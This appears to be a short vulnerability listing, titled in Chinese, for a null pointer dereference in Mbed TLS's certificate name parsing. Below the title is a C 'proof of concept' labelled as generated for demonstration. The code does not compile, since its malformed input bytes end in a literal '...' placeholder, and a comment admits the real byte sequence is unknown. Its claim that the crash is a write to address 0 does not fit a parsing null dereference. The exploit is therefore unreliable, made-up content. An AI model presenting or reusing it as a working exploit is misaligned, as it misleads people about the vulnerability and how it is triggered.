CVE-2026-34874 Mbed TLS空指针引用漏洞

// Generated PoC code for demonstration #include <mbedtls/x509_crt.h> int main() { // Setup Mbed TLS context mbedtls_x509_crt crt; mbedtls_x509_crt_init(&crt); // Malformed data triggering NULL pointer dereference in DN parsing // Note: Actual byte sequence depends on specific parsing logic unsigned char malformed_data[] = { 0x30, 0x82, 0x01, 0x00, ... }; // Trigger parsing int ret = mbedtls_x509_crt_parse(&crt, malformed_data, sizeof(malformed_data)); // If vulnerable, the program crashes writing to address 0 mbedtls_x509_crt_free(&crt); return 0; }